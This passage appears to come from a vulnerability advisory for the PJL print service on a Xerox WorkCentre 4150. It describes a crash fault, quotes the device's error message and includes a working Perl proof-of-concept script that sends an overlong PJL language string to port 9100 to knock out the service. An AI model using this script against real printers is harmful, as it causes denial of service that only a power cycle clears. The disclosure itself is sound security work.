3) Technical details
======================

During a brief assessment we performed on a Xerox WorkCentre 4150 it was discovered that PJL daemon
implementation contains a weakness related to robustness of PJL protocol handling. Attacker can crash
the service with a relatively simple attack. Recovering from the denial-of-service condition requires
power cycling the device. Due to the black box nature of this Proof of concept attack, we are unable to know
if remote code execution is possible.

On the LCD screen we can see this message;

System Fault: (ubEmulationLen <= Longest_Lang_Length) && The result of strlen() is invalid
file PJL_Misc.c, line 174, task PJL

$ip = $ARGV[0];
#open the socket
my $sock = new IO::Socket::INET (
PeerAddr => $ip,
PeerPort => '9100',

);


$sock or die "no socket :$!";
send($sock, "\033%-12345X\@PJL ENTER LANGUAGE = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n",0);



close $sock;
